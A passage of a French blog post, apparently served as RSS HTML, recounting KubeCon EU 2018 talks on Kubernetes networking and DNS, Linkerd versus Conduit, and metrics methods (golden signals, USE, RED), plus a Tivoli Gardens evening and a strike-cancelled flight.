&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/kuberouter.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Cerise sur le gâteau, ils se sont rendu compte après coup qu’avec cette implémentation du réseau ils pouvaient (via des External IPs) rendre directement accessible sur Internet des pods, en fonction de l’endroit où vous êtes sur le globe et via la même IP.&lt;/p&gt;
&lt;p&gt;2ème cerise sur le gâteau, ils ont simplifié grandement leur gestion du DNS, en ajoutant une délégation pour que tous les services Kubernetes (de type monservice.monnamespace.cluster.local) puissent être résolus et accessibles depuis le réseau Digital Ocean, &lt;strong&gt;même en dehors de Kubernetes&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="linkerd"&gt;Linkerd
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/4e/Linkerd%20Intro.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Linkerd Intro – Andrew Siegner &amp;amp; George Miranda, Buoyant.io&lt;/em&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un démonstaction en live de Linkerd (service mesh), focalisée sur la partie loadbalancing / circuit breaker.&lt;/p&gt;
&lt;p&gt;C’est simple, ça marche super bien, mais j’ai été vachement refroidi par le présentateur quand quelqu’un lui a demandé quels étaient les avantages de Linkerd par rapport aux autres solutions a dit :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Linkerd, c’est puissant et stable, mais ça consomme beaucoup de ressources (1Go de RAM). On est en train de réécrire complètement le produit (Conduit). Si vous avez besoin d’un service mesh vraiment aujourd’hui et en production, Linkerd est super. Mais sinon, dans 2 mois on sort une version stable de Conduit. Le mieux, c’est d’attendre Conduit.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J’étais un peu sidéré&amp;hellip; mais mes collègues m’ont confirmé que je n’avais pas rêvé.&lt;/p&gt;
&lt;h3 id="reveal-your-deepes-metrics"&gt;Reveal your deepes metrics
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/11/20180503%20KubeCon%20EU%20-%20Kubernetes%20Metrics%20Deep%20Dive.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Reveal Your Deepest Kubernetes Metrics - Bob Cotton, Freshtracks.io&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un talk très sympa par Bob Cotton de Freshtracks.io. Je ne sais pas si c’était volontaire ou pas, mais il n’a pas du tout parlé de sa société (startup dans le monitoring K8s et prometheus, co-fondateur) et est rentré directement dans le vif du sujet : les métriques. On a vraiment senti que c’était un passionné par ce sujet, c’était très fluide malgré une masse d’information conséquente.&lt;/p&gt;
&lt;p&gt;Comment déterminer quelles métriques sont importantes ?&lt;/p&gt;
&lt;p&gt;Je ne savais pas que ça existait, mais il existe des méthodes pour classifier les métriques pour mesurer l’état de santé d’un service ou d’un cluster :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Four golden signals (Latency / Errors / Traffic / Saturation)&lt;/li&gt;
&lt;li&gt;USE method  (Utilization / Saturation / Errors) réservée aux composants physiques (machine virtuelle) ou fonctionnels (serveur Apache)&lt;/li&gt;
&lt;li&gt;RED method (Rate / Errors / Duration) pour les applications&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;USE is for Resources&lt;br&gt;
RED is for Services&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne vais pas tout détailler ici car c’était très dense, mais le support est à lire si vous devez mettre en place une solution de supervision pour votre application (quelle soit hébergée sur Kubernetes ou pas d’ailleurs).&lt;/p&gt;
&lt;h2 id="et-pour-finir-la-journée-"&gt;Et pour finir la journée ?
&lt;/h2&gt;&lt;p&gt;Pour ne pas nous assommer de Keynotes à nouveau, les organisateurs de la Kubecon avaient prévu une « soirée » à Tivoli Gardens. C’est un genre de parc d’attractions / fête foraine permanente en plein centre de Copenhague.&lt;/p&gt;
&lt;p&gt;L’occasion de réseauter pour les plus studieux, ou juste de faire quelques manèges. C’était très sympa ;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180503_183546-2.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180503_185350_HDR.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;h2 id="et-vendredi-"&gt;Et vendredi ?
&lt;/h2&gt;&lt;p&gt;Il ne vous aura pas échappé que la Kubecon dure 3 jours. Malheureusement pour moi&amp;hellip; mes amis gréviste de chez Air France ont décidé pour moi que je ne participerai pas au vendredi, en annulant mon Copenhague Paris et en me proposant comme seule et unique solution de passer ma journée de les aéroports (Zurich et Charles de Gaulle notamment).&lt;/p&gt;
&lt;p&gt;Un peu dégoûté mais bon&amp;hellip; C’est la vie ;-)&lt;/p&gt;</description></item></channel></rss>